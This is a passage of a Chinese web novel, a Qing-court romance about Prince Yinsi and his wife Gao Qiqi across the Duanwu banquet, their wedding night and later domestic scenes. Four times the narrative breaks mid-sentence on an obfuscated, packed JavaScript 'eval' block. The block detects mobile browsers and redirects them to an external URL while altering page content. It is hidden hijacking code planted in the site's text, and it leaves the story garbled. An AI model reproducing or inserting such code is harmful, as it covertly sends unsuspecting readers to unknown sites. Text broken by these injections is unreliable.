“还有两颗,特意留给你的。”高奇奇道。 明明枇杷是胤禩剥的,但是高奇奇借花献佛,胤禩却感动的不得了。 奇奇爱吃,但是奇奇省着没有吃完,奇奇爱我! 高奇奇表示,不是,她只是有点儿良心在。 等胤禩擦干净手,康熙的龙辇和太后的凤辇,前后抬了过来。 所有人都从位子上站起来,恭敬的向康熙和太后行礼。 高奇奇也低下头,一丝不苟的行着礼。 帝王的惟我独尊,皇权霸道,显露无疑。 康熙坐下以后,御膳房的太监们,给各位主子的桌案端上菖蒲酒。 食粽饮酒,端午安康。 众嫔妃、皇子们,举起手中菖蒲酒,和康熙一同祈福平安。 菖蒲酒药味浓重,高奇奇尝试的抿了一小口,味道有点儿怪,入口又有一点儿甜。 没尝出味道,再喝一口。 这一口喝的着实不少,酒的辣气,冲的她忍不住吐了吐舌头。赶紧拿起奶茶,顺了顺喉咙。 “菖蒲酒,不好喝。”高奇奇对胤禩道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656379|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤禩侧目而视,发现高奇奇的脸颊有些红。不是胭脂的红色,而是酒意上头。 再探头一看,一杯菖蒲酒,只剩下杯底一点点。 胤禩心慌不已,汗阿玛还没有走,奇奇要是醉倒了可怎么办。 怪他没有提醒奇奇,菖蒲酒的酒劲,对不善饮酒的人而言,有一些大。 高奇奇坐的端正,除了眼神有一丝丝呆滞,看不出不对劲。 康熙在台子上面说什么话,她都能配合的做出相应的反应。 端午宴上,没有人会眼神乱瞟。因而高奇奇醉了,只有胤禩一个人知道。 在胤禩胆战心惊,千盼万盼之下,康熙终于给在此处的宴席收了个尾,邀众人从御花园移步西苑,前去看赛龙舟。 胤禩派阎进过去和梁九功告知一声。 阎进和梁九功的碰头,瞒不过康熙的眼睛。 康熙招招手,梁九功走了过去。 “八贝勒身边的大太监,过来和你说什么?”康熙问道。 梁九功微微躬着腰,回道:“八福晋饮菖蒲酒,不胜酒力。今日宫中人多,八贝勒不放心旁人送八福晋回去休息,便特意让阎进过来向您告假一声。” 这是小事儿。 康熙笑容慈和:“八贝勒考虑的很周到。一会儿到了西苑,你把安郡王叫过来,朕要和他好好夸夸胤禩。朕给他外甥女挑的夫婿,多么体贴。” “嗻。”梁九功道。 “八福晋年纪轻,今年菖蒲酒的酒劲确实大,她不胜酒力很正常。你叫个人去太医院,请个太医去看看。” “算了,只是那么一点儿酒,不碍事的。喝点儿解酒汤就行了。让八贝勒自己照顾他福晋吧。你让人去给八福晋送一个轿辇。”康熙道。 “是。”梁九功应道。 回去休息的人,不仅有胤禩和高奇奇。三福晋有身孕在身,便没有往人多热闹的地方凑。 五福晋也孤身一人回去,神色好似有些低落。 这些事儿,都与胤禩无关。 高奇奇坐上轿辇时,人已经有些迷糊。 等轿辇抬起来走,摇晃的节奏,直接把她晃睡着了。 19. 第十九章 胤禩是抱着醉睡过去的高奇奇,回到屋子里的。 马起云极为靠谱的,将屋子重新布置成新婚之夜时的样子。 大红喜烛、红色喜被,胤禩抱着高奇奇,身上还有着淡淡的酒味,一切和新婚之夜,一般无二。 将高奇奇小心的放在床上,胤禩高兴的轻啄了她的唇角一口。 他先演练演练,免得晚上因为太过生疏笨拙,被奇奇嘲笑。 亲一口,再亲一口,胤禩沉迷于其中滋味,停不下来。 知道他注意到高奇奇微翘的嘴角,有些泛红,他才强行忍住。 “初一、十五,福晋就交给你们了。给福晋沐浴更衣时,动作小心些,她还醉着,别让她摔着或者磕碰到。”胤禩叮嘱道。 看着屋里焕然一新的布置,初一和十五都知道,今天晚上会发生什么,她们红着脸应下。 胤禩兴冲冲的离开,他也要好好沐浴,把自己洗的干干净净。 “贝勒爷,您已经搓三回澡了,再搓下去,皮都要破了。”伺候沐浴的太监,为难不已。 他下手再轻,主子的一身嫩皮也经不住这么搓啊。 胤禩抬起胳膊,自己用指腹搓了两下,“嘶”了一声。 确实有点疼。 “行吧。去拿点儿花瓣、香露给爷泡上,去去酒味。”胤禩道。 “啊?”太监惊吓的伸长脖子,像一只被掐住脖颈的呆头鹅。 贝勒爷在胡言乱语什么?哪有男子泡澡用花瓣的。 “怎么,爷不能用?”胤禩皱眉不满道。 太监忙道:“贝勒爷,您用的香胰子有香味的,若是临时加上香露,味道恐怕会犯冲。” “奴才用茉莉花发油给您抹头发,发梢香味若有若无,最是清淡好闻,又不会和香胰子的味道相冲。您看这样合不合适?”太监道。 胤禩挑眉道:“是个不错的主意。你倒是脑子转得快,很是机灵,就按你说的来吧。” 穿好崭新的衣袍,重新编好头发,胤禩衣衫发丝带着点朦胧的水汽,穿过月色,赶向正院。 倒着洗澡水的太监,乐呵呵的直笑。 他从没想到,自己一个粗使太监,还能得贝勒爷的赏银。 感谢福晋! 太监倒是没有辜负胤禩的夸赞,他稍稍一想,就猜到了自己得赏的原因。 贝勒爷今儿这样爱干净,不是为了福晋,还能为了谁。 有这样聪明机灵的脑瓜子,来日往上升不难。 小龙涎香的味道,清厚好闻。尤其是其中添加的鹅梨汁,香燃的味道甘蜜清润,极衬今晚的夜色。 绕过遮挡视线的屏风,胤禩心情忐忑又兴奋的向里走去。 床沿边上,穿着水红色寝衣的女子,含嗔带笑的看着他。 胤禩呆呆看着,甚至忘记了往前走。 因为过于激动,喉结不住的上下滚动着。 “奇奇,你醒了?”胤禩半晌说出这么一句话来。 这话听着不对,他连忙改口。 “奇奇,我沐浴好了。” 这样好似顺耳了一些。 高奇奇扑哧一笑,这个人怎么有点儿呆头呆脑的。 “嗯,泡澡的时候醒了。本来也不是很醉,只是一小杯酒而已。”高奇奇道。 “傻站在那儿做什么?不过来坐着?”高奇奇向他招招手。 “过来,过来的。”胤禩急道。 快步走上前,坐在床边,女子身上的蔷薇香味,不住的往他鼻子、心间里钻。 此刻,胤禩明白了,为何伺候他沐浴的太监说,贝勒爷抹上清淡些香味的发油最合适。 他与奇奇之间,一主一臣,他愿为裙下臣。 “红色最衬你。”胤禩握上高奇奇的手,认真道。 高奇奇低头羞涩一笑,她道:“我知道。” 随着胤禩越来越靠近,高奇奇忍着羞意,垂下眼眸,没有躲避。 帐子一层层放下,人缓缓向后倒去。 黑色的长发,散在水红色的被面上,被子上绣着龙凤戏珠。 “胤禩,等一下。我觉得我们可以再喝一杯雄黄酒。”高奇奇忽然喊道。 胤禩低声笑着,笑声如夜色暧昧。 “奇奇要喝酒壮胆吗?不可以。一杯菖蒲酒,就让你醉了。再喝雄黄酒,我怕今夜的洞房花烛夜又要延后。” “奇奇,我不想再等了,也等不及了。”胤禩擒住了女子的双臂。 两人手臂上的五彩绳,不时的交叠在一起。 蜡烛亮了一夜,水叫了几回。 一直折腾到天亮,两人才互相搂抱着,沉沉睡下。 屋外的枝头上,两只鸟儿头靠着头,亲密的互相清理着脖颈羽毛。 屋里的小夫妻,一妩媚、一俊朗,沉浸在美梦之中,嘴角勾着笑。 睡到中午,被饿醒的高奇奇,浑身酸痛,撑不起劲来。 要说胤禩天赋异禀,倒也没有,年轻人第一回,还是要多多锻炼,总结经验。 但是,男子在某些事上,总是无师自通,并且勤学好问,进步十分快。 一开始,两人都是无知新手,本事五五开,谁也不比谁厉害。到了后半程,高奇奇丢盔弃甲,举了白旗投降,仍不被放过。 “奇奇,醒了?”胤禩睁开眼,看到枕边人,眉眼都是笑意。 那是一种被喂饱了的餍足感。 高奇奇脸色一变,她脖子一缩,脸往胤禩怀里埋,并把被子往上扯,盖住自己的脸。 “你是在做梦,我还没有醒。”高奇奇低着头当鸵鸟道。 胤禩笑的十分宠溺,胸膛震动时,连着高奇奇的头也跟着颠了一下。 忽然,天地变换。 高奇奇睁开眼,看着胤禩支起胳膊,将她困在双臂之下。 “奇奇,你这是在自投罗网。”胤禩道。 “奇奇,我还想听你叫我八哥。” 胤禩痴缠不休,恼人的很。骂也不听,打也不怕,皮厚不知羞的。和昨日的正人君子模样相比,压根儿不是一个人。 高奇奇骂他衣冠禽兽、禽兽不如,他却高兴的笑。 “奇奇是在夸我吗?” 高奇奇昏昏沉沉再醒来时,枕边空落落的。 伸手摸着旁边的位置,还有些温热,人应当是刚离开不久。 没等高奇奇起身,探出头张望,胤禩穿戴整齐,容光焕发的捧着一个小盏过来。 “先吃盏燕窝漱漱口。晚膳我已经让人去御膳房取了,等你洗漱好,正好能用膳。”胤禩柔声道。 “我……”高奇奇一开口,就闭上了嘴。 她的嗓子哑了。 “福晋恕罪,昨日是我孟浪了。”胤禩积极认错。 但是,问他改不改,他不改。后不后悔,不后悔。若是再来一次呢,他必然答道:我会表现的更好。 有时候骂男人禽兽不如,都是夸他们的。 高奇奇吞了吞口水,缓解嗓子的不适。 燕窝端到旁边,高奇奇用完,又喝了一盏温水。 喝完以后,嗓子舒服多了,说话也不再沙哑。 “温水里放了桂花蜜?有些甜了,不像是初一泡的。”高奇奇问道。 胤禩自己尝了一口,是有些甜齁。 他懊恼道:“奇奇尝出来了?我头一回泡蜂蜜水,没掌握好份量。等下回一定不会出错。” “我想亲手服侍奇奇,不假手他人。我只想奇奇的眼里,只有我。”一夜之间,胤禩占有欲横生。 胤禩眼睛湿漉漉的看着高奇奇,他蹲在床边,甚至没有坐在床沿。 他将自己的位置,放得格外的低。 高奇奇却不被他的表象迷惑。 这人看似温柔无害,实则是披着羊皮的恶犬。一时不备,就会被他欺身压倒。没错,就是字面上的意思。 “油嘴滑舌。”高奇奇道。 胤禩仰着头,为自己伸冤反驳道:“是真心诚意。” 高奇奇皱着鼻子,恶从胆边生,双手捏着胤禩的脸,就是一顿猛揉。 胤禩皮肤白,脸很快漫成一片红。 犹如被狂风摧残的雨后残花,另有一番我见犹怜姿态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656380|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 高奇奇迷迷瞪瞪的,一低头,对着胤禩的嘴唇就咬上去。 “你真好看啊!我最喜欢你了。”高奇奇不得章法的强吻,让胤禩觉得刺激极了。 她眼神明亮,神采飞扬,连披在肩后的凌乱头发丝,迷的胤禩神魂忘我。 “福晋喜欢,我以后会更好的。”胤禩意乱神迷,胡言乱语的都不知道他自己在说什么。 奇奇喜欢什么样,他就打扮成什么样。 讨福晋欢心,是最重要的事。 高奇奇浑身酸痛、肚子又饿,满身不适憋出来的火气,在胤禩不要脸的话语中,烟消云散。 其实,后来她也挺享受的。 那是件挺愉快的事情,尤其是两情相悦的时候。 高奇奇含羞带怯的,看着胤禩高挺的鼻子。 鼻尖有一颗小痣,更显魅力。 这么一看,高奇奇就忍不住慢慢抚摸着胤禩的脸。 胤禩顺从的仰起头,任她描摹着自己的眼、鼻。 她的手指,拿他的脸作画布,指腹温热,令他灵魂颤栗不已。 忽然,高奇奇的手停下动作。 胤禩等了半晌,没等到那纤纤玉指,施恩的触碰到他的唇。 他失落又茫然的睁开眼:“奇奇?不摸了吗?” 这话配着他的表情,太不正经。 高奇奇羞赧的把手缩回去,背在身后。 她板着一张俏脸道:“你休要说些奇奇怪怪的话,我只是,只是被你的美貌迷惑了,这都是你的错,引我一时堕落。平时,我很正直的。” 胤禩认可的点头:“是,都怪我诱惑了奇奇。” “那,奇奇,你还摸我吗?”胤禩期冀的问道。 高奇奇直炸毛,这事儿还没完了吗!紧追不放的。 眼见着高奇奇要拿脚踹人,胤禩连忙收起逗弄她的神色。 “奇奇莫气,我不闹你了。我皮糙肉厚不怕被踢着,仔细你脚疼。回头我就重读圣人书,洗心革面,认真反思。求福晋心胸宽广,别和为夫计较。”胤禩态度端正道。 他滚刀肉一样的认错,高奇奇莫名感到眼熟。 好似她每次闯完祸、做错事了,在长辈面前也是这样。 主打一个滑跪飞快,但是屡教不改。 这是回旋镖扎到了自己身上啊。 高奇奇没好气的一脚踹上胤禩的肚子,当然力道很轻。轻到胤禩以为是在和他玩闹,还高兴的握住她的脚背。 气的高奇奇又是一脚蹬上去。昨夜摸着硬邦邦的腰腹,现在脚感颇为柔软。 “我要洗漱了,你速速叫初一或十五回来。”高奇奇昂起头,高傲吩咐道。 胤禩就吃这一招,他最喜欢她骄傲的模样,威风凛凛的。 他满眼迷恋:“用不着她们,有我就够了。” 怕是康熙都想不到,自己儿子关起门来,在儿媳面前这么没出息。 主动让渡主权,自愿弯腰低头,满脑子都是好想让福晋更喜欢我。 这恋爱脑,就算是乾清宫门口的石狮子,听了都要直摇头。僵尸来了,都要tui一口,不吃恋爱脑的脑子。 有胤禩在,近身服侍的事情,轮不上宫女们来伺候。 胤禩喜滋滋的忙前忙后着。 高奇奇刷牙,他就递上牙刷和牙粉,再送上漱口的杯子。 高奇奇洗脸,他先试好水温,再将洗脸盆端上,连拧帕子的活,他都要亲自来动手。 直到高奇奇坐在梳妆台前,看着胤禩皱眉研究妆奁里的胭脂水粉眉黛,她不得不出手制止。 “这个真不行。描眉画眼的事儿,还是留给宫女们吧。术业有专攻,这不是一朝一夕就能学会的。”高奇奇握着胤禩的手,坚定的阻止他。 她这些胭脂水粉,都是自己和侍女们亲手做的,用料极其昂贵不说,最要紧的是耗费时间。好不容易捣鼓成功了这么一点儿,可不能被霍霍了。 她自己一张漂亮的脸蛋,也不想被画成猛张飞。 胤禩没了用武之地,他苦恼不已:“那我能为福晋做些什么呢?” 20. 第二十章 胤禩像只黏人的小狗,不停的围着高奇奇打转。 高奇奇头发还没有梳好,头先晕了。 “停,你先站住,容我想一想。”高奇奇道。 胤禩乖乖的站好,他站在梳妆台旁边,眼睛一眨不眨的盯着高奇奇看。 “玫瑰簪子更好看些。”胤禩冷不丁出声。 梳头宫女拿起玫瑰簪子,和试戴的蝴蝶簪子比了比。 “果真是玫瑰簪子更衬福晋,贝勒爷眼光真好。”梳头宫女道。 高奇奇睁开眼,入目就是胤禩含笑的脸。 “贝勒爷的眼光,自然是好的。”高奇奇道。 胤禩被夸的高兴:“福晋眼光也很好。” 听着似是寻常的话,偏偏让人觉得暧昧丛生。 梳头宫女不自觉的加快手上动作,将两朵新摘的火红榴花簪好,匆匆的退下。 到了门外,梳头宫女用力拍了拍自己的脸。 “你这丫头傻了是不是?怎么这么用力拍自己脸,也不怕疼?”初一从外边回来,看到了连忙上前阻止。 “没事没事,就是屋里有点儿热,让人脑袋晕乎乎的。我用手冰一冰脸,清醒一点。”梳头宫女也是从安王府陪嫁来的,和初一相熟。 端午一到,天气确实一瞬间热了许多。 但是,热到人脑子发晕,未免夸张了。 初一沉吟一会儿,问道:“贝勒爷还在屋里?” “是啊,我给主子梳头的时候,贝勒爷就陪在边上和主子说话。”梳头宫女道。 初一莞尔浅笑,还真是傻丫头。 哪里是天气热啊,分明是主子和贝勒爷的感情火热。 “知道了,你回去吧。主子让小厨房熬了薄荷绿豆汤,你去领一碗,消夏解暑。只要天热,小厨房里一直会有解暑的汤,不要自己硬撑着。”初一道。 梳头宫女欢喜一笑:“主子对我们最是大方体贴。初一姐姐,那我先去小厨房了。” 初一没有立马进屋,而是在门口站了一会儿,才敲了敲门。 “主子、贝勒爷,小厨房那边来问,现在是否要上晚膳?”初一在门口问道。 “要要要,速速端上来。”高奇奇忙慌不迭的回应道。 不提晚膳还好,一提肚子更饿了。 “看看,都是因为你,这都晚膳了,我还腹中空空。”高奇奇顺手从旁边的花瓶上,抽出一朵花,砸到胤禩胸口。 她气呼呼的,刚梳好的发髻,略微松散了一些,慵懒美丽。 胤禩低下头,接住粉白间色的荷花。 胖乎乎的荷花瓣,颤了颤。 胤禩小心握住荷梗:“是我的错,下次一定注意。” “还有下次?”高奇奇怒目圆睁。 才瞪了没几眼,她又笑开来。 胤禩手执荷花,含笑而立,儒雅风流,气质好似谪仙。 好看的让她发不出脾气。 “明日还有划龙舟看吗?”骂舍不得骂,打舍不得打,高奇奇索性转移话题。 胤禩殷勤的走上前,把荷花妥善放回花瓶里,道:“大约要等明年了。” “啊?今年就没有了吗?”高奇奇失望不已。 原本她还想着借着端午宴,和二舅母说一会儿话,再看看赛龙舟。军中将士来赛龙舟,一群体格威武的汉子,攒着肌肉划船,多有气势。 这么一年一度的盛况,就这么被错过了。 “喝酒误事啊。”高奇奇恼道。 胤禩把人搂在怀里:“哪里误事了,我看挺好的。” 酒后微醺的奇奇,格外热情,让他招架不住,又沉迷其中。 白天黑夜的折腾,难道是胤禩一个人的过错吗? 高奇奇分明也爱的不得了,食髓知味,格外享受。 只是,脸皮薄又要顾及矜持,她才对胤禩又嗔又怪。 胤禩看的分明,他喜欢极了她口是心非的模样。 骂一骂他,再亲一亲他,他的心被她握在手中,任她捏扁搓圆,随意玩弄。 “我难道不比赛龙舟更好看?”胤禩低下头,脸埋在她的颈弯蹭了蹭。 高奇奇被他蹭的脖子直痒,躲又躲不过,忍不住咯咯笑个不停。 “你快把头挪开,脖子痒!”高奇奇道。 胤禩低笑出声,拒不答应,但是也没有再乱动。 他把人圈在自己怀里,两个人如同连体婴一般紧密。 “赛龙舟是看不到了,不过,明日我带奇奇去游船,以作补偿,如何?”胤禩想了想道。 “西苑太液池里的荷花刚盛开,风一吹,成片的荷叶波澜壮阔。今年内务府又种了些新品种,开出的荷花颜色听说很好看。”胤禩道。 “接天莲叶无穷碧,映日荷花别样红。”高奇奇道:“当然要去。你邀请我,我是一定要去的。” 她分明是想游湖赏花,但是偏要说是为了胤禩。 胤禩被哄的一脸不矜持的笑:“明日我一下值,就叫阎进过来接你。” “好说好说。我得好好想想,明儿穿什么颜色花纹的衣裳,才和湖景搭配的最好看。扇子和伞也要都带上的吧?”高奇奇满心憧憬着出游,眉眼生动又可爱。 胤禩一个没忍住,轻啄了一下她的脸颊。 “奇奇怎么样都好看,奇奇最好看。”胤禩真心实意道。 高奇奇两眼笑弯弯,她道:“哎呀,低调些、低调些。” 夸的她都不好意思了。 胤禩正想要再说话,外边传来轻微的动静。 听着脚步声,应当是晚膳被提来了。 高奇奇立马推开胤禩,微微昂起下巴,高傲冷艳。 她理了理外面的褂子,衣袖平整,没有褶皱,才仪态端庄的移步到外厅。 胤禩愕然一瞬,失落的望着自己空空如也的怀抱。 福晋对他好生无情。 “奇奇,等等我。”胤禩快步追上去。 桌上的菜肴摆盘精致,香味更加诱人。 高奇奇让十五往御膳房塞了一点银子,御厨配菜用料时更加用心。 高奇奇得到了美食,御厨赚到了外快,大家都很开心。 胤禩看着桌上的菜肴,仍旧有些不习惯的,发了一下愣。 他似乎成为了靠福晋嫁妆吃软饭的男人。 自打福晋当家,他的伙食档次好了不止一星半点。 成婚真是一件极其快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656381|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐的事情。 “奇奇,以后我的俸禄、月例,也由你让人去领吧。”胤禩道。 他无以为报,只能把自己有的,都给福晋。 高奇奇喝着炖的鲜香而不油腻的鸡汤,又吃了一口鸡汤里的咸火腿。 “你的月例不是本来就随我支取吗?”高奇奇不上心道。 她太有钱了,暂时真用不着胤禩的三瓜俩枣。 就算是俸禄、月例的双份钱,加一块儿也不够她用上半个月的。 胤禩道:“不一样。” 高奇奇放下汤匙,粲然一笑道:“是不一样。那我就收下了。” “就是得麻烦十五以后每个月得多走两趟,去领银子。”高奇奇道。 十五喜滋滋笑道:“奴婢不嫌麻烦。” 上交了工资,浑身一身轻的胤禩,心情舒畅的继续吃饭。 两人都饿狠了。 美食当前,先吃为敬。 一顿饱餐,桌上的菜在风卷残云之后,少见的被清空了大半。 唯独从月初就天天摆上桌的粽子,没有一个人看它一眼。 难以想象,粽子第一天被端上来时,曾那样的受欢迎过。 就当作节日氛围的装饰吧,和挂在门外的艾草、菖蒲草一样,端午应景。 “端午都过了一日了,明日应该不会再有粽子端上来了吧。”高奇奇斜倚在贵妃榻上,手轻轻揉着肚子。 吃饭的时候,嘴跟着胃跑,一顿胡吃海塞。等歇了一会儿,缓过来后,才察觉到肚子吃撑的难受。 胤禩也是一样,他也姿势放松的斜坐着,好让胃舒服点儿。 “不会了,就到今儿。御膳房粽子做的多,不多往各处送,实在消耗不完。”胤禩道。 光是端午节的那一天,御膳房就蒸了两千多只粽子。 那一日靠近御膳房时,闻到的全是粽叶的清香。 高奇奇松了口气:“这就好,暂时再也不想看到它了。没吃的时候馋的很,尝了几个后,就腻的不行了。” 屋里没有外人,高奇奇和胤禩有一搭没一搭的闲聊着,什么话题都能说。 “不知道惠额娘查了那个宫女没有。她叫什么来着?红豆?”高奇奇皱着眉头回忆着。 吃饱了饭就犯困,脑子都成了一团浆糊。 初一不由小声提醒道:“主子,是玲珑。” 高奇奇道:“是嘛?我就记得她两只眼睛像绿豆一样,原来是叫玲珑啊。玲珑骰子安红豆,一样一样。” 初一闭上了嘴,主子是迁怒。那个宫女的眼睛,挺大的。 贵妃榻旁边的茶几上,放着一碟杨梅。 在井水里浸过的杨梅,放在白瓷碟子上,杨梅红的可口,白瓷干净清冷。 高奇奇说着“红豆”、“绿豆”的时候,胤禩专注的挑着杨梅。 “奇奇吃颗杨梅,消消食。”胤禩挑了一颗看着最好吃的,递到高奇奇嘴边。 高奇奇手还揉着肚子,嘴毫不犹豫的张开。 吃饭的胃和吃水果的胃,不是同一个胃,她还能吃。 “惠额娘已经让人去查了,目前查到的消息是,她的背后没有人指使,家世也简单。”胤禩道。 21. 第二十一章 “按这么说,是我误会了?”高奇奇道。 但是,她很相信自己的直觉。她的直觉,在来到清朝后,救了她好几回。 一颗杨梅,砸吧砸吧,就吃完了。 胤禩自然的拿起托盘递过去,高奇奇一低头,一颗杨梅核落进去。 十五伸出的手,沉默的缩回去。 贝勒爷把她们要做的事情都做了,她已无用武之地。 “正是因为太过简单,才显得更不对。”胤禩道。 高奇奇不知是该提气,还是该送气。 本心上,她是希望身边都是好人。 她刚才已经在想,该怎么补偿玲珑。自己轻飘飘的一个怀疑,对新进宫没多久的宫女来说,是不易承受的无妄之灾。 她误会了人,总要道歉和补偿的。 “当下后宫之中,四妃的宫殿最难进去。偶尔漏出个空缺,有百十个人打破头的去抢。一个刚进宫没两年,家里普通、人也普通的宫女,却能进延禧宫,补的还是二等宫女的缺。该说她是有逆天的好运气,还是其间另有手段?”胤禩玩味的笑道。 就是卫嫔宫里的二等宫女,也是不好当上的。 “大约不是好运气就够的吧?”高奇奇迟疑道。 胤禩宠溺的想捏捏她的脸,夸她聪明。 但是,手上的杨梅汁,嫣红一片,他只得放弃。 再给高奇奇递上一个杨梅,胤禩不甚在意道:“不用为她烦忧。再过两日,应当就能查出来,她到底是人是鬼了。到时,真相一出,必能为我们解惑。” 高奇奇刚要点头,随着牙齿咬上杨梅果肉,脸酸的一皱。 “这颗好酸。”高奇奇道。 胤禩忙将手伸过去,要接:“快快吐出来,含口茶水漱漱口。” 高奇奇摇头拒绝:“已经吃完,只剩核了。” 又没坏掉,只是酸而已,浪费可耻。 好不容易消化一些的胃,在吃了几颗杨梅,又喝了水后,再次胀了起来。 高奇奇扭着身子,回头探向窗外看去。 “傍晚凉快下来了,今天的落日好像很漂亮,我们出去散一散步吧。”高奇奇眼睛亮晶晶的,向胤禩提议道。 屋子里呆久了,有些憋闷。 胤禩必然说好。 只要是和喜欢的人在一块儿,去哪儿,做什么,都不重要。 重要的从来都是那个人。 人对了,就什么都对了。 走出屋外,眼前的光线,一瞬间亮了起来。 用薄纱糊着窗户的室内,即使是大太阳的日子,也不够亮堂。何况是傍晚日落时分。 胤禩和高奇奇两个人在前面走着,宫女、太监们手里提着灯笼,远远缀在后面。 胤禩手里拿着绣着蔷薇花的团扇,不时的给高奇奇扇着风。 十五看着初一退下来,抿嘴偷笑。 “团扇被抢了?我都说了,有贝勒爷在,咱俩儿没有活计做的。”十五道。 初一瞪她一眼:“长点心吧,什么话都敢说,主子把你都惯坏了。” 十五吐吐舌:“我小声着呢,没人能听见。” 她喟然叹道:“真好,贝勒爷这么喜欢主子,主子在宫里过的也开心。主子开心,我就开心。” 初一看了前方的背影一眼,眼神柔软:“因为主子是很好的人啊。” 八贝勒理当待主子好的。 初一、十五的话,被风吹散,没有传入任何人的耳朵里。 经过石榴树旁时,胤禩摘下两朵开的正盛的榴花,将高奇奇发间原本簪着的榴花替换掉。 那两朵已经有些蔫了,不如刚摘下时好看。 高奇奇凑热闹也摘下一朵,将榴花仔细别在胤禩衣襟的扣缝里。 “礼尚往来。”高奇奇退后一步,上下打量两眼。 “好看。”她满意的夸道。 不愧是她,搭配的真好。 不愧是她的夫婿,有一张好脸,什么颜色都能驾驭。 笑容在胤禩的脸上漾开来,他欢喜的不得了,恨不得能将衣襟上的榴花,长长久久的保存下来。 他这样好哄,高奇奇都有些不好意思了。 诶,往后再对他好一点吧。 这个想法,只在高奇奇的脑海里短暂的停留了一小会儿。 当散完步回去,洗漱干净,吹灯上床后,高奇奇满脑子想的都是:这该死的男人,真不是人啊。 又是一夜放纵欢愉。 一夜几乎没睡,胤禩仍旧精神奕奕的起床,神采飞扬的,好似饱睡一场。 如何不算是饱睡呢? 他昨夜哄着奇奇答应,陪他试了一遍又一遍,心中十分满足。 “今儿不必叫醒福晋,让她多睡会儿。延禧宫那边,我替福晋告个假。”胤禩穿戴整齐朝服,气质威严,矜贵非凡。 这才是外人眼中的八贝勒,固然脾性温和,但更有皇子的威严不容冒犯。 初一行礼道:“是,奴婢记下了。” 高奇奇一觉睡到日上三竿,等她醒来,明亮的阳光,透过窗子照进来,铺洒在屋内地板上。 “是贝勒爷嘱咐你们不必叫我起床的?”高奇奇神态放松,一点儿不紧张。 没有胤禩交代,初一、十五不可能自作主张,不叫醒她去给惠妃请安。 初一端上一盏温水,让高奇奇润润喉。 “贝勒爷不仅叮嘱奴婢不要吵到主子,连朝靴贝勒爷都是出了屋门才换上的。”初一道。 高奇奇一口水呛到:“他也太过小心翼翼了,不至于如此。我的睡眠状况挺好,一般情况下,吵不醒我的。” 初一低头浅笑,不去接话。 不用去给婆婆请安,并不意味着高奇奇早上就没有事情做了。 胤禩将院子全权交付,高奇奇就要担起女主人的责任。人情往来、账目支出、下人管束,样样都要做好。 事情零碎但繁琐,很是占用时间。 现在在宫里还好,许多份例都是内务府拨过来,人情走动也只在这个紫禁城里。大多数时间,看着自己的一亩三分地就可以。 等以后出了宫,一整个府邸的采买用度才叫繁复。名下各个庄子、铺子的每月账簿和年账簿,也都会递上来。 而在宫外的交际圈子,会比在紫禁城里大的多。 除了皇家宗室亲戚之间的走动,还会增加朝堂同僚之间的来往、门人的招纳。这些人情交际,全都要花费心思结交和长期维护。 两相比较,现在高奇奇还处于新手保护期。能够慢慢适应,也可以有犯错的机会。 埋头苦干了大半天,高奇奇放下手里的笔,将桌上的簿子合起来。 “终于对完了。”高奇奇伸了个懒腰。 她情绪高涨道:“快给我梳妆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656382|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离贝勒爷下值的时间近了。今儿妆容画的清新自然一些,免得太阳晒久了,妆粉斑驳。旗头也梳的简单点,以玉饰、通草花为主。” 高奇奇一声吩咐,她院子里的下人们顿时跑动了起来。 取衣服的、调香露的,各有各的忙活。 所有人都为了贝勒爷和福晋的游湖约会,做着准备。 胤禩煎熬了一天,下值的时间一到,他利落的将手里事情一扔,起身就走。一刻也不耽搁。 同僚伸手欲喊,被另一位大人拉住了。 “别喊。并不是要紧的差事,咱们两个一起把收尾弄完就是。八贝勒脾气好,你不要得寸进尺,这些本就该是我们来做。八贝勒又没有提前走人,你有点儿眼色。” “我哪敢让皇子留下来陪我做事啊,嫌屁股下的官位做得不够稳吗?我就是想着打声招呼,说两句关心的话,好和八贝勒拉近些关系,留点儿印象。等下个月八贝勒轮到别的部门去学习,就没这个好机会了。” 